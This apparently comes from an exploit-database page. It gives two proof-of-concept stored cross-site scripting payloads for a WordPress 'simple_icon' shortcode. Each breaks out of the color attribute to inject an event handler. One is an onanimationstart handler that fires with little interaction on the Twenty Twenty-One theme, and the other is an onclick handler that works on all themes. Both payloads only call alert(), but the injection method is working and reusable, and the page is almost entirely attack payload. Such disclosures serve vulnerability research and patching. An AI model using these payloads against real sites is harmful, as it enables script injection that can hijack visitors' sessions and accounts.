## https://sploitus.com/exploit?id=WPEX-ID:18AB1570-2B4A-48A4-86E6-C1D368563691
With minimum user interaction (depends on the theme, payload below is for Twenty Twenty-One):
[simple_icon name="wordpress" color='red;animation-name:twentytwentyone-close-button-transition;" onanimationstart="alert(origin);//' size="20px"]
With user interaction, such as a click (all themes):
[simple_icon name="wordpress" color='red;" onclick="alert(/XSS/);//' size="20px"]